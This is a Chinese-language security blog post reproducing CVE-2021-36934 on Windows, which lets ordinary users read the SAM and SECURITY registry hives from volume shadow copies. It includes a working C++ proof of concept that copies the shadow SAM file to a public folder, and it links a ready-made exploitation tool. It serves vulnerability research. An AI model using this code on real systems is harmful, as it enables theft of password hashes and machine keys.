首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2021-36934普通用户读取卷影中的SAM、SECURITY文件

CVE-2021-36934普通用户读取卷影中的SAM、SECURITY文件

作者头像
JDArmy
发布2022-06-06 08:17:03
发布2022-06-06 08:17:03
6840
举报
文章被收录于专栏:JDArmyJDArmy

声明

本文基于https://kb.cert.org/vuls/id/506989和twitter上jonasLyk的文章复现

漏洞影响

漏洞出现时间是7月20日,允许普通用户通过windows volumeshadowcopy读取卷影中的sam、security文件。产生以下影响

•提取和利用帐户密码哈希。•发现原始 Windows 安装密码。•获取DPAPI计算机密钥,可用于解密所有计算机私钥。•获取一个电脑机器账号,可以用来进行银票攻击。

漏洞前提

一、系统存在卷影

windows在MSI或者Windows Update 安装中,如果系统磁盘大于128 GB,则系统会自动创建还原点。

二、BUILTIN\Users在c:\windows\system32\config\sam下有RX权限

我的系统为windows10的19042.1052(目前windows11有,windows10有的有,有的没有,请自行测试)

如果存在漏洞,则会有以下回显。

复现结果

使用FileTest来读取文件

通过createfile函数获取到sam的handle后,通过readfile来读取文件。

漏洞利用

自己实现的一个漏洞利用的demo。

代码语言:javascript
复制
BOOL CVE_2021_36934() {
  //打开并读取卷影文件
  HANDLE rFile = CreateFile(L"\\\\.\\GlobalRoot\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  if (rFile == INVALID_HANDLE_VALUE)
  {
    printf("ERROR: failed to open file \n");
    return false;
  }
  int dwFileSize = GetFileSize(rFile, NULL);
  BYTE* pbBmpBuffer = new BYTE[dwFileSize];
  DWORD Count = 0;
  ReadFile(rFile, pbBmpBuffer, dwFileSize, &Count, NULL);
  CloseHandle(rFile);
  //打开转储文件,并将读取到的文件转储为C:\\users\\public\\sam.txt
  HANDLE wFile = CreateFile(L"C:\\users\\public\\sam.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
  if (wFile == INVALID_HANDLE_VALUE)
  {
    printf("ERROR: failed to write file \n");
    return false;
  }
  DWORD writesize = 0;
  WriteFile(wFile, pbBmpBuffer, dwFileSize, &writesize, NULL);
  CloseHandle(wFile);
  return TRUE;
}

执行结果

具体的工程化漏洞利用可以使用https://github.com/GossiTheDog/HiveNightmare。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 JDArmy 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 声明
  • 漏洞影响
  • 漏洞前提
    • 一、系统存在卷影
    • 二、BUILTIN\Users在c:\windows\system32\config\sam下有RX权限
  • 复现结果
  • 漏洞利用
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档